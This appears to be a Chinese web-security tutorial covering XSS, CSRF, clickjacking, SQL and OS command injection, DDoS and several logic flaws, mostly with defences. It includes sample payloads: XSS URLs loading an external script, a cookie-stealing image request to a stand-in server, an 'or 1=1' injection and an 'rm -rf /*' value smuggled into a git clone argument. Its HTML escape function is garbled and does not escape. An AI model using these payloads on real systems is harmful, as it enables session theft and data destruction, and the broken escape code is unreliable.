web攻击与防守xxs csrf sql注入

311 阅读8分钟

1.XXS

跨站脚本攻击(cross site scripting),由于怕跟css重名 改成叫xss

被攻击的结果:

  1. 页面数据被篡改
  2. cookies数据被窃取

1.反射型攻击:url参数注入

在页面解析时候执行注入js,同时由于怕url的script脚本太明显,会通过生成短域名的来隐藏。

流程

  1. 用户登录论坛,用户信息存在浏览器cookie
  2. 访问被注入的hack.js的url,同时访问hack服务器
  3. hack服务器返回自动执行的hack.jsj脚本
  4. 用户把自己cookie提交给服务器
  5. 服务器记录cookie信息
  6. 攻击者把用户的cookie放在自己浏览器
  7. 攻击者通过伪装cookie使用用户信息访问论坛
//直接执行的脚本
http://www.baidu.com?aa=<script>alert('xxx')</script>
//外部的js脚本
http://www.baidu.com?aa=<script src='http://www.xxx.com/hack.js'></script>

//hack.js 攻击的服务器代码
var img = new Image()
img.src='http://localhost:4000/img?c='+document.cookie//通过脚步获取cookie信息

实现的流程图

image.png

2.存储型攻击

通过用户提交表单,把注入的js都保存数据库,下次所有人访问都会触发攻击。

流程

  1. 攻击者提交带有hack.js脚本到论坛
  2. 用户登录论坛,用户信息存在浏览器cookie
  3. 用户访问被注入hack的评论,同时访问hack服务器
  4. hack服务器返回自动执行的hack.jsj脚本
  5. 用户把自己cookie提交给服务器
  6. 服务器记录cookie信息
  7. 攻击者把用户的cookie放在自己浏览器
  8. 攻击者通过伪装cookie使用用户信息访问论坛

image.png

防守XXS

校验限制

通过正则限制输入的类型。如具体的不同的业务字段使用不同的规则,文本、数字、日期、邮箱地址、URL等。

1.X-XSS-Protection

默认打开X-XSS-Protection防御,默认设置为1

//对应服务端代码
ctx.set('X-XSS-Protection', 0)// 如果设置0 不打开防御(苹果safari才可以测试,chrome直接不支持,改用更高级的csp)

2.csp内容安全策略(content security policy)

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图⽚
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'

对于服务端代码
ctx.set('Content-Security-Policy', "default-src 'self'")

3.输出编码

html编码

手工转,字符串转移 黑名单处理

如 把< 转义成 &lt;

//转义方法,缺点需要转的都要单独指定,比较繁琐
function escape(str) {
    str = str.replace(/&/g, '&')
    str = str.replace(/</g, '<')
    str = str.replace(/>/g, '>')
    str = str.replace(/"/g, '&quto;')
    str = str.replace(/'/g, ''')
    str = str.replace(/`/g, '`')
    str = str.replace(/\//g, '/')
    return str

 }
  1. 第三方脱敏工具
  • xss库
//只有指定的不过滤,其他都转义
使用npm的xss库
const xss = require('xss') //xss默认指定了一些白名单
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html) 
  • DOMPurify库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize('<b>hello there</b>');

url编码
  • 对URL参数进行URL编码(如 %3C 代替 <),
  • 使用框架提供的URL构建工具(如 encodeURIComponent())。
CSS编码

使用CSS转义(如 \3C 代替 <

4.httpOnly

//后端代码,设置后 ,执行document.cookie 不能访问cookies,只能通过http传输
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

//前端无法访问和修改,只能是服务器给你什么,你再返回什么,而且你看不到是什么。

5.少用v-html

2.CSRF(cross site request forgery)跨站请求伪造

流程

  1. 用户访问论坛服务器,进行登陆,有cookie
  2. 接着又访问hack服务器
  3. hack服务器直接用调用 “论坛服务器”某些提交的接口(如支付),由于已经登陆过,会直接通过权限校验,请求成功。 image.png

防御

  1. referer 判断原服务器和当前请求的服务器是不是同一台。
//通过referer 判断
app.use(async (ctx, next) => {
    await next()
    const referer = ctx.request.header.referer
    console.log('Referer:', referer)
})
  1. 把请求信息加上一些token做二次校验。
  2. 验证码/人机交互,短信
  3. cookie值 进行hash 通过表单力加入一些随机数,在于cookie解析出来的校验随机数是否相符

3.点击劫持

通过一些视觉欺骗,诱惑用户点击一个隐藏的iframe,iframe是一个正常网站的地址,适用用点赞。

1.X-FRAME-OPTIONS限制

  • DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
  • SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
  • ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')

2.js判断

<head> 
<style id="click-jack">
html {
display: none !important;
 }
</style>
</head>
<body>
<script>
if (self == top) {
    var style = document.getElementById('click-jack')
    document.body.removeChild(style)
 } else {
    top.location = self.location
 }
</script>
</body>

4.SQL注⼊

通过 where 条件注入

select * user where  password = '1' or '1'='1'

1.防御 - 占位符

使用占位参数? 代替sql直接拼接

node:

// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])

php:

  $menu = MenuTable::getSelector()
            ->where('status = 1')
            ->where('controller = ?', $controller)
            ->where('action = ?', $action)
            ->fetchRow();

但是在 like in order by并不直接使用占位,可以特殊处理

like 特殊处理

  • MyBatis ${}做参数,直接用字符串拼接,有安全风险
select * from news where title like '$%{title}%'
  • MyBatis #{}做参数,会创建一个预编译语句,可以规避拼接
select * from news where title like concat('%',#{title},'%') 

in 特殊处理

id in
<foreach collection="ids" item="item" open="("separator="," close=")">
#{item}
</foreach>

order by/ group by/ limit 特殊处理

通过条件限定在指定范围的 字段。

switch(columnName){
    case "name":columnName="name";
    break;
    case "num" :columnName="num" ;
    break;
    default : columnName="id" ;
}

5.OS命令注⼊

shell注入,比如jenkins或者node的一些自动执行的命令

假如在接⼝中需要从 github 下载⽤户指定的 repo

const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);

//如果传⼊的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&

6.请求劫持

DNS劫持

顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的 ip

HTTP劫持

运营商劫持,此时⼤概只能升级HTTPS了

7.DDOS

DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。⽹ 站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪 服务的⽬的。

常⻅攻击⽅式

SYN Flood

此攻击通过向⽬标发送具有欺骗性源IP地址的⼤量TCP“初始连接请求”SYN数据包来利⽤TCP握 ⼿。⽬标机器响应每个连接请求,然后等待握⼿中的最后⼀步,这⼀步从未发⽣过,耗尽了进程 中的⽬标资源。

HTTP Flood

此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - ⼤量HTTP请求泛滥服务器, 导致拒绝服务。

防御⼿段

  • 备份⽹站 备份⽹站不⼀定是全功能的,如果能做到全静态浏览,就能满⾜需求。最低限度应该可以显示公告,告诉 ⽤户,⽹站出了问题,正在全⼒抢修。

  • HTTP 请求的拦截 ⾼防IP -靠谱的运营商 多个 Docker 硬件 服务器 防⽕墙

  • 带宽扩容 + CDN 提⾼犯罪成本

其他

接口安全泄露

  • 接口返回了敏感的信息(如活动里面包含了用户信息, )
  • 调用云存储:上传接口前端直接是使用SSO密钥发起。

文件上传攻击

通过上传可执行文件,如脚本语言,如php,jsp,javascript等

防御:

  • 扩展名检查:判断后缀
  • MIME类型检查:读取文件流 通过头信息魔数比较与实际预期的文件是否一致
文件类型魔数(十六进制)说明
JPEGFF D8 FF开头必须是 FF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A开头必须是 89 50 4E 47 0D 0A 1A 0A
PDF25 50 44 46开头必须是 %PDF(ASCII 码)
GIF47 49 46 38开头必须是 GIF8
ZIP50 4B 03 04开头必须是 PK..

越权漏洞

  1. 水平越权:用户A访问了属于用户B的数据(如查看他人订单)
  2. 垂直越权:普通用户访问了管理员功能(如删除用户,修改配置)
  3. 未授权访问:未登录用户直接访问需要认证才能访问的接口

防御:

  • 执行关键操作前,必须校验用户信息
  • 用户的唯一信息必须是不可以猜测,如用户id不要用int自增该用雪花算法生成

前端串改参数

  • 通过修改订单的价格实现0元购
  • 修改 金额,数量,状态等

防御:

  1. 生成数据签名,对用户金额和订单签名
  2. 入参判正负,金额、数量等相关
  3. 支付过程中加一个服务器生成的key,校验用户参数是否被篡改
  4. 服务端校验/过滤客户端提交的参数

并发请求

同一个请求,同时触发数百次请求。如使用优惠券或者积分兑换等。

防御:

  1. 后端做加锁机制来防止并发操作带来的条件竞争问题
  2. 随机算法生成优惠券ID,使其难以被猜测或遍历
  3. 确保优惠券具有唯一标识,使用优惠券时,先检查其状态

安全编码规范

  1. 输入验证:对所有用户输入进行验证,确保输入符合预期的格式和长度,防止注入攻击。
  2. 输出编码:对所有输出进行编码,以防止跨站脚本攻击(XSS)。
  3. 错误处理:合理处理所有异常情况,避免敏感信息泄露。
  4. 最小权限原则:在编写代码时,只授予必要的权限,防止权限提升攻击。
  5. 安全更新和补丁管理:及时关注并应用官方发布的安全更新和补丁,修复已知漏洞。